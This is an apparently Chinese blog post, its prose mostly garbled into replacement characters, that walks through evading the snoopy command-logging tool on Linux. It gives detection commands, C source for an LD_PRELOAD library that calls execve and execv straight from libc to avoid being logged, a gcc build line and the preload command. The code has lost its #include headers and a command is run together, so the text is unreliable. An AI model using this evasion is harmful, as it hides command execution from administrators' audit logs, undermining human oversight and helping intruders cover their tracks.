
本文共 3204 字,大约阅读时间需要 10 分钟。
<bypass snoopy���������������������
���������������������Linux������������snoopy������������������������shell������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
1. ���������������������������snoopy
���������������������������snoopy������������������������������������������������������������������������
ldd `which ls`
���������������������snoopy������������������������������������������snoopy������������������
ryan@buggy ~]# ldd `which ls` /usr/local/lib/snoopy.so (0x00002af2d1210000) ...
2. ������������������
������������snoopy���������������������������������������������������������������������������������������������
tail /var/log/secure
���������������������������������������������������������snoopy���������������������������
[ryan@buggy ~]# tail /var/log/secureApr 13 12:03:07 buggy snoopy[19511]: [uid:544 sid:10430 tty:/dev/pts/2 cwd:/home/ryan filename:/usr/bin/ldd]: ldd /bin/ls [uid:544 sid:10430 tty:/dev/pts/2 cwd:/home/ryan filename:/usr/bin/ldd]: ldd /bin/ls
3. ������bypass.c������
������������snoopy������������������������������������������������������������������POC������������������������������������snoopy���������
/** Ryan A. Chapman, 13 Wed Apr 2011 */#define _GNU_SOURCE#include#include #include #include #include #include #include #include #if defined(RTLD_NEXT) #define REAL_LIBC RTLD_NEXT #else #define REAL_LIBC ((void *) -1L) #endif #define FN(ptr, type, name, args) ptr = (type(*)args)dlsym(REAL_LIBC, name) #define FN_HANDLE(handle, ptr, type, name, args) ptr = (type(*)args)dlsym(handle, name) int execve(const char *filename, char *const argv[], char *const envp[]){ Dl_info info; void *handle = dlopen("/lib64/libc.so.6", RTLD_NOW|RTLD_LOCAL); if(handle == NULL) handle = dlopen("/lib/libc.so.6", RTLD_NOW|RTLD_LOCAL); static int (*func)(const char *, char**, char**); FN_HANDLE(handle, func, int, "execve", (const char *, char**, char*)); return (*func)(filename, (char**)argv, (char**)envp); } int execv(const char *filename, char *const argv[]){ Dl_info info; void *handle = dlopen("/lib64/libc.so.6", RTLD_NOW|RTLD_LOCAL); if(handle == NULL) handle = dlopen("/lib/libc.so.6", RTLD_NOW|RTLD_LOCAL); static int (*func)(const char *, char**); FN_HANDLE(handle, func, int, "execv", (const char*, char**)); return (*func)(filename, (char**)argv); }
4. ���������������������
������������������������������������������������������
gcc -nostartfiles -shared -O3 -fomit-frame-pointer -fPIC bypass.c -obypass.so -ldl
5. ���������������
���������������������������������������������shell������������
export LD_PRELOAD=/full/path/to/bypass.so/bin/bash
������������
������������������������������������������������Linux������������������������������snoopy���������������������������������������������������������������������snoopy������������������������������������������������������������������������������
������������������������������������snoopy������������������������������������
发表评论
最新留言
关于作者
